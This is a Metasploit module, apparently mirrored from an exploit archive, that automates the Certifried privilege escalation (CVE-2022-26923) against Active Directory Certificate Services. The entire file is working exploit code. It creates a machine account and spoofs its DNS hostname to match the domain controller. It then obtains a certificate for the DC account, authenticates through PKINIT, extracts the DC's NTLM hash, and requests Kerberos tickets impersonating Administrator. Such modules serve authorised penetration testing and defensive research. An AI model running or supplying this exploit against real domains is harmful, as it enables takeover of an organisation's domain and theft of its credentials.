## https://sploitus.com/exploit?id=PACKETSTORM:180778
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client::Authenticated
alias connect_smb_client connect
include Msf::Exploit::Remote::Kerberos::Client
include Msf::Exploit::Remote::LDAP
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::MsIcpr
include Msf::Exploit::Remote::MsSamr::Computer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Active Directory Certificate Services (ADCS) privilege escalation (Certifried)',
'Description' => %q{
This module exploits a privilege escalation vulnerability in Active
Directory Certificate Services (ADCS) to generate a valid certificate
impersonating the Domain Controller (DC) computer account. This
certificate is then used to authenticate to the target as the DC
account using PKINIT preauthentication mechanism. The module will get
and cache the Ticket-Granting-Ticket (TGT) for this account along
with its NTLM hash. Finally, it requests a TGS impersonating a
privileged user (Administrator by default). This TGS can then be used
by other modules or external tools.
},
'License' => MSF_LICENSE,
'Author' => [
'Oliver Lyak', # Discovery
'CravateRouge', # bloodyAD implementation
'Erik Wynter', # MSF module
'Christophe De La Fuente' # MSF module
],
'References' => [
['URL', 'https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4'],
['URL', 'https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html'],
['CVE', '2022-26923']
],
'Notes' => {
'AKA' => [ 'Certifried' ],
'Reliability' => [],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ IOC_IN_LOGS ]
},
'Actions' => [
[ 'REQUEST_CERT', { 'Description' => 'Request a certificate with DNS host name matching the DC' } ],
[ 'AUTHENTICATE', { 'Description' => 'Same as REQUEST_CERT but also authenticate' } ],
[ 'PRIVESC', { 'Description' => 'Full privilege escalation attack' } ]
],
'DefaultAction' => 'PRIVESC',
'DefaultOptions' => {
'RPORT' => 445,
'SSL' => true,
'DOMAIN' => ''
}
)
)
register_options([
# Using USERNAME, PASSWORD and DOMAIN options defined by the LDAP mixin
OptString.new('DC_NAME', [ true, 'Name of the domain controller being targeted (must match RHOST)' ]),
OptInt.new('LDAP_PORT', [true, 'LDAP port (default is 389 and default encrypted is 636)', 636]), # Set to 636 for legacy SSL
OptString.new('DOMAIN', [true, 'The Fully Qualified Domain Name (FQDN). Ex: mydomain.local']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with']),
OptString.new(
'SPN', [
false,
'The Service Principal Name used to request an additional impersonated TGS, format is "service_name/FQDN" '\
'(e.g. "ldap/dc01.mydomain.local"). Note that, independently of this option, a TGS for "cifs/<DC_NAME>.<DOMAIN>"'\
' will always be requested.',
],
conditions: %w[ACTION == PRIVESC]
),
OptString.new(
'IMPERSONATE', [
true,
'The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to request the ticket)',
'Administrator'
],
conditions: %w[ACTION == PRIVESC]
)
])
deregister_options('CERT_TEMPLATE', 'ALT_DNS', 'ALT_UPN', 'PFX', 'ON_BEHALF_OF', 'SMBUser', 'SMBPass', 'SMBDomain')
end
def run
@privesc_success = false
@computer_created = false
opts = {}
validate_options
unless can_add_computer?
fail_with(Failure::NoAccess, 'Machine account quota is zero, this user cannot create a computer account')
end
opts[:tree] = connect_smb
computer_info = add_computer(opts)
@computer_created = true
disconnect_smb(opts.delete(:tree))
impersonate_dc(computer_info.name)
opts = {
username: computer_info.name,
password: computer_info.password
}
opts[:tree] = connect_smb(opts)
opts[:cert_template] = 'Machine'
cert = request_certificate(opts)
fail_with(Failure::UnexpectedReply, 'Unable to request the certificate.') unless cert
if ['AUTHENTICATE', 'PRIVESC'].include?(action.name)
credential, key = get_tgt(cert)
fail_with(Failure::UnexpectedReply, 'Unable to request the TGT.') unless credential && key
get_ntlm_hash(credential, key)
end
if action.name == 'PRIVESC'
# Always request a TGS for `cifs/...` SPN, since we need it to properly delete the computer account
default_spn = "cifs/#{datastore['DC_NAME']}.#{datastore['DOMAIN']}"
request_ticket(credential, default_spn)
@privesc_success = true
# If requested, get an additional TGS
if datastore['SPN'].present? && datastore['SPN'].casecmp(default_spn) != 0
begin
request_ticket(credential, datastore['SPN'])
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
print_error("Unable to get the additional TGS for #{datastore['SPN']}: #{e.message}")
end
end
end
rescue MsSamrConnectionError, MsIcprConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue MsSamrAuthenticationError, MsIcprAuthenticationError => e
fail_with(Failure::NoAccess, e.message)
rescue MsSamrNotFoundError, MsIcprNotFoundError => e
fail_with(Failure::NotFound, e.message)
rescue MsSamrBadConfigError => e
fail_with(Failure::BadConfig, e.message)
rescue MsSamrUnexpectedReplyError, MsIcprUnexpectedReplyError => e
fail_with(Failure::UnexpectedReply, e.message)
rescue MsSamrUnknownError, MsIcprUnknownError => e
fail_with(Failure::Unknown, e.message)
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
fail_with(Failure::Unknown, e.message)
ensure
if @computer_created
print_status("Deleting the computer account #{computer_info&.name}")
disconnect_smb(opts.delete(:tree)) if opts[:tree]
if @privesc_success
# If the privilege escalation succeeded, let'use the cached TGS
# impersonating the admin to delete the computer account
datastore['SMB::Auth'] = Msf::Exploit::Remote::AuthOption::KERBEROS
datastore['Smb::Rhostname'] = "#{datastore['DC_NAME']}.#{datastore['DOMAIN']}"
datastore['SMBDomain'] = datastore['DOMAIN']
datastore['DomainControllerRhost'] = rhost
tree = connect_smb(username: datastore['IMPERSONATE'])
else
tree = connect_smb
end
opts = {
tree: tree,
computer_name: computer_info&.name
}
begin
delete_computer(opts) if opts[:tree] && opts[:computer_name]
rescue MsSamrUnknownError => e
print_warning("Unable to delete the computer account, this will have to be done manually with an Administrator account (#{e.message})")
end
disconnect_smb(opts.delete(:tree)) if opts[:tree]
end
end
def validate_options
if datastore['USERNAME'].blank?
fail_with(Failure::BadConfig, 'USERNAME not set')
end
if datastore['PASSWORD'].blank?
fail_with(Failure::BadConfig, 'PASSWORD not set')
end
if datastore['DOMAIN'].blank?
fail_with(Failure::BadConfig, 'DOMAIN not set')
end
unless datastore['DOMAIN'].match(/.+\..+/)
fail_with(Failure::BadConfig, 'DOMAIN format must be FQDN (ex: mydomain.local)')
end
if datastore['CA'].blank?
fail_with(Failure::BadConfig, 'CA not set')
end
if datastore['DC_NAME'].blank?
fail_with(Failure::BadConfig, 'DC_NAME not set')
end
if datastore['SPN'].present? && !datastore['SPN'].match(%r{.+/.+\..+\..+})
fail_with(Failure::BadConfig, 'SPN format must be <service_name>/<hostname>.<FQDN> (ex: cifs/dc01.mydomain.local)')
end
end
def connect_smb(opts = {})
username = opts[:username] || datastore['USERNAME']
password = opts[:password] || datastore['PASSWORD']
domain = opts[:domain] || datastore['DOMAIN']
datastore['SMBUser'] = username
datastore['SMBPass'] = password
datastore['SMBDomain'] = domain
if datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS
vprint_status("Connecting SMB with #{username}.#{domain} using Kerberos authentication")
else
vprint_status("Connecting SMB with #{username}.#{domain}:#{password}")
end
begin
connect_smb_client
rescue Rex::ConnectionError, RubySMB::Error::RubySMBError => e
fail_with(Failure::Unreachable, e.message)
end
begin
smb_login
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e})")
end
report_service(
host: rhost,
port: rport,
host_name: simple.client.default_name,
proto: 'tcp',
name: 'smb',
info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
)
begin
simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
rescue RubySMB::Error::RubySMBError => e
fail_with(Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e})")
end
end
def disconnect_smb(tree)
vprint_status('Disconnecting SMB')
tree.disconnect! if tree
simple.client.disconnect!
rescue RubySMB::Error::RubySMBError => e
print_warning("Unable to disconnect SMB ([#{e.class}] #{e})")
end
def can_add_computer?
vprint_status('Requesting the ms-DS-MachineAccountQuota value to see if we can add any computer accounts...')
quota = nil
begin
ldap_connection do |ldap|
ldap_options = {
filter: Net::LDAP::Filter.eq('objectclass', 'domainDNS'),
attributes: 'ms-DS-MachineAccountQuota',
return_result: false
}
ldap.search(ldap_options) do |entry|
quota = entry['ms-ds-machineaccountquota']&.first&.to_i
end
end
rescue Net::LDAP::Error => e
print_error("LDAP error: #{e.class}: #{e.message}")
end
if quota.blank?
print_warning('Received no result when trying to obtain ms-DS-MachineAccountQuota. Adding a computer account may not work.')
return true
end
vprint_status("ms-DS-MachineAccountQuota = #{quota}")
quota > 0
end
def print_ldap_error(ldap)
opres = ldap.get_operation_result
msg = "LDAP error #{opres.code}: #{opres.message}"
unless opres.error_message.to_s.empty?
msg += " - #{opres.error_message}"
end
print_error("#{peer} #{msg}")
end
def ldap_connection
ldap_peer = "#{rhost}:#{datastore['LDAP_PORT']}"
base = datastore['DOMAIN'].split('.').map { |dc| "dc=#{dc}" }.join(',')
ldap_options = {
port: datastore['LDAP_PORT'],
base: base
}
ldap_connect(ldap_options) do |ldap|
if ldap.get_operation_result.code != 0
print_ldap_error(ldap)
break
end
print_good("Successfully authenticated to LDAP (#{ldap_peer})")
yield ldap
end
end
def get_dnshostname(ldap, c_name)
dnshostname = nil
filter1 = Net::LDAP::Filter.eq('Name', c_name.delete_suffix('$'))
filter2 = Net::LDAP::Filter.eq('objectclass', 'computer')
joined_filter = Net::LDAP::Filter.join(filter1, filter2)
ldap_options = {
filter: joined_filter,
attributes: 'DNSHostname',
return_result: false
}
ldap.search(ldap_options) do |entry|
dnshostname = entry[:dnshostname]&.first
end
vprint_status("Retrieved original DNSHostame #{dnshostname} for #{c_name}") if dnshostname
dnshostname
end
def impersonate_dc(computer_name)
ldap_connection do |ldap|
dc_dnshostname = get_dnshostname(ldap, datastore['DC_NAME'])
print_status("Attempting to set the DNS hostname for the computer #{computer_name} to the DNS hostname for the DC: #{datastore['DC_NAME']}")
domain_to_ldif = datastore['DOMAIN'].split('.').map { |dc| "dc=#{dc}" }.join(',')
computer_dn = "cn=#{computer_name.delete_suffix('$')},cn=computers,#{domain_to_ldif}"
ldap.modify(dn: computer_dn, operations: [[ :add, :dnsHostName, dc_dnshostname ]])
new_computer_hostname = get_dnshostname(ldap, computer_name)
if new_computer_hostname != dc_dnshostname
fail_with(Failure::Unknown, 'Failed to change the DNS hostname')
end
print_good('Successfully changed the DNS hostname')
end
rescue Net::LDAP::Error => e
print_error("LDAP error: #{e.class}: #{e.message}")
end
def get_tgt(cert)
dc_name = datastore['DC_NAME'].dup.downcase
dc_name += '$' unless dc_name.ends_with?('$')
username, realm = extract_user_and_realm(cert.certificate, dc_name, datastore['DOMAIN'])
print_status("Attempting PKINIT login for #{username}@#{realm}")
begin
server_name = "krbtgt/#{realm}"
tgt_result = send_request_tgt_pkinit(
pfx: cert,
client_name: username,
realm: realm,
server_name: server_name,
rport: 88
)
print_good('Successfully authenticated with certificate')
report_service(
host: rhost,
port: rport,
name: 'Kerberos-PKINIT',
proto: 'tcp',
info: "Module: #{fullname}, Realm: #{realm}"
)
ccache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.from_responses(tgt_result.as_rep, tgt_result.decrypted_part)
Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ccache, host: rhost, framework_module: self)
[ccache.credentials.first, tgt_result.krb_enc_key[:key]]
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
case e.error_code
when Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_CERTIFICATE_MISMATCH
print_error("Failed: #{e.message}, Target system is likely not vulnerable to Certifried")
else
print_error("Failed: #{e.message}")
end
nil
end
end
def get_ntlm_hash(credential, key)
dc_name = datastore['DC_NAME'].dup.downcase
dc_name += '$' unless dc_name.ends_with?('$')
print_status("Trying to retrieve NT hash for #{dc_name}")
realm = datastore['DOMAIN'].downcase
authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(
host: rhost,
realm: realm,
username: dc_name,
framework: framework,
framework_module: self
)
tgs_ticket, _tgs_auth = authenticator.u2uself(credential)
session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
type: credential.keyblock.enctype.value,
value: credential.keyblock.data.value
)
ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(
tgs_ticket.enc_part.decrypt_asn1(session_key.value, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)
)
value = OpenSSL::ASN1.decode(ticket_enc_part.authorization_data.elements[0][:data]).value[0].value[1].value[0].value
pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(value)
pac_info_buffer = pac.pac_info_buffers.find do |buffer|
buffer.ul_type == Rex::Proto::Kerberos::Pac::Krb5PacElementType::CREDENTIAL_INFORMATION
end
unless pac_info_buffer
print_error('NTLM hash not found in PAC')
return
end
serialized_pac_credential_data = pac_info_buffer.buffer.pac_element.decrypt_serialized_data(key)
ntlm_hash = serialized_pac_credential_data.data.extract_ntlm_hash
print_good("Found NTLM hash for #{dc_name}: #{ntlm_hash}")
report_ntlm(realm, dc_name, ntlm_hash)
end
def report_ntlm(domain, user, hash)
jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
service_data = {
address: rhost,
port: rport,
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: hash,
private_type: :ntlm_hash,
jtr_format: jtr_format,
username: user,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: domain
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def request_ticket(credential, spn)
print_status("Getting TGS impersonating #{datastore['IMPERSONATE']}@#{datastore['DOMAIN']} (SPN: #{spn})")
dc_name = datastore['DC_NAME'].dup.downcase
dc_name += '$' if !dc_name.ends_with?('$')
options = {
host: rhost,
realm: datastore['DOMAIN'],
username: dc_name,
framework: framework,
framework_module: self
}
authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)
sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
name_string: spn.split('/')
)
auth_options = {
sname: sname,
impersonate: datastore['IMPERSONATE']
}
authenticator.s4u2self(credential, auth_options)
end
end